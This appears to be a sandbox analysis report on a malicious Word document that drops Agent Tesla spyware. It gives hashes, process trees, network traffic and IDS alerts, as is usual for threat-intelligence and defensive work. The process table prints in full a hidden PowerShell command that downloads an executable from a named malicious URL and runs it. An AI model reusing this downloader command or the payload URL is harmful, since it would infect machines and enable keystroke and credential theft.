File name: | Order Kernel_2019_quotation rqt.doc |
Full analysis: | https://app.any.run/tasks/cd8ea66c-3ac2-4369-82fd-742ea011278f |
Verdict: | Malicious activity |
Threats: | Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. |
Analysis date: | March 14, 2019, 14:26:22 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: ba22b9, Subject: g69d9, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 02:40:00 2019, Last Saved Time/Date: Thu Mar 14 02:40:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0 |
MD5: | A9D0B74F8D9304020D3E7340B0944626 |
SHA1: | 26699E47637AD4069F869650F51F0269777B410D |
SHA256: | 010C893E168E832E21371E65979B5F9B4F2C844AE466882519E77C77E273E236 |
SSDEEP: | 768:I3yAtlO83fQfzUnbwBGa32aOlJ8s7HJutv7HJ8kjc:syklO83fQfzUnbYGa3OJ8s7HJA7HJ7c |
.doc | | | Microsoft Word document (38.3) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (29.3) |
.doc | | | Microsoft Word document (old ver.) (22.7) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | ba22b9 |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | - |
Paragraphs: | - |
Lines: | - |
Bytes: | 11000 |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | - |
Words: | - |
Pages: | 1 |
ModifyDate: | 2019:03:14 02:40:00 |
CreateDate: | 2019:03:14 02:40:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | g69d9 |
Title: | ba22b9 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2844 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Order Kernel_2019_quotation rqt.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3464 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $g1a92ee = $env:APPDATA; $o6bef94 = $g1a92ee + '\\j1984c.exe'; If (test-path $o6bef94) {Remove-Item $o6bef94}; $d3ad5 = New-Object System.Net.WebClient; $d3ad5.Headers['User-Agent'] = 'd3ad5'; $d3ad5.DownloadFile('http://jadema.com.py/dr/dr.exe', $o6bef94); Start-Process -Filepath $o6bef94; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3176 | "C:\Users\admin\AppData\Roaming\j1984c.exe" | C:\Users\admin\AppData\Roaming\j1984c.exe | — | powershell.exe |
User: admin Company: G2 Wind Integrity Level: MEDIUM Description: PCA Predict Exit code: 0 Version: 4.19.14.1 | ||||
2552 | "C:\Users\admin\AppData\Roaming\j1984c.exe" | C:\Users\admin\AppData\Roaming\j1984c.exe | j1984c.exe | |
User: admin Company: G2 Wind Integrity Level: MEDIUM Description: PCA Predict Version: 4.19.14.1 | ||||
420 | "C:\Program Files\Internet Explorer\iexplore.exe" | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2332 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:420 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2844 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDD32.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VAGEDQ4EHV1JR4AU2S72.temp | — | |
MD5:— | SHA256:— | |||
420 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
420 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
2332 | iexplore.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@bing[2].txt | — | |
MD5:— | SHA256:— | |||
2332 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\search[1].txt | — | |
MD5:— | SHA256:— | |||
2552 | j1984c.exe | C:\Users\admin\AppData\Roaming\I88lL8znrZ.jpeg | image | |
MD5:DE11524A0BF80731D076874A50DB0C7B | SHA256:EA4465A010B145C80DB4AEC01F2689F8BD175C1A6F9FF10D1AC8F53F40EB86BA | |||
2844 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:6D06C8E289BF1B6B43A6AC427E18D623 | SHA256:FD1A49FDB84E04096D6C47DE344F96DC8482F401ED697019977B8ECB1F44C324 | |||
3464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0586DB8FF5249AD980CEC7BF2CBC3708 | SHA256:DF93E043BDFAB9E6C36B353985E621A7A276756B52877AACDC5F36517009B4E2 | |||
2552 | j1984c.exe | C:\Users\admin\AppData\Roaming\newapp\newapp.exe | executable | |
MD5:01A3779CEB824477DC5CAA5AFA5FBFB9 | SHA256:5362910A979E699123B47DCF85E1727F9F42DE805934937161B1B3B8C2C439EF |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3464 | powershell.exe | GET | 200 | 192.185.73.158:80 | http://jadema.com.py/dr/dr.exe | US | executable | 637 Kb | malicious |
2552 | j1984c.exe | GET | 200 | 34.196.82.108:80 | http://checkip.amazonaws.com/ | US | text | 16 b | shared |
420 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
2332 | iexplore.exe | GET | — | 204.79.197.200:80 | http://www.bing.com/search?q=www.intesasa&src=IE-SearchBox&FORM=IE8SRC | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
420 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2332 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3464 | powershell.exe | 192.185.73.158:80 | jadema.com.py | CyrusOne LLC | US | malicious |
2552 | j1984c.exe | 34.196.82.108:80 | checkip.amazonaws.com | Amazon.com, Inc. | US | shared |
2552 | j1984c.exe | 108.167.141.127:587 | mail.marseilleprotech.com | CyrusOne LLC | US | unknown |
Domain | IP | Reputation |
---|---|---|
jadema.com.py |
| malicious |
mail.marseilleprotech.com |
| unknown |
checkip.amazonaws.com |
| shared |
www.bing.com |
| whitelisted |
www.intesasa |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
3464 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
3464 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
2552 | j1984c.exe | A Network Trojan was detected | MALWARE [PTsecurity] AgentTesla IP Check |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |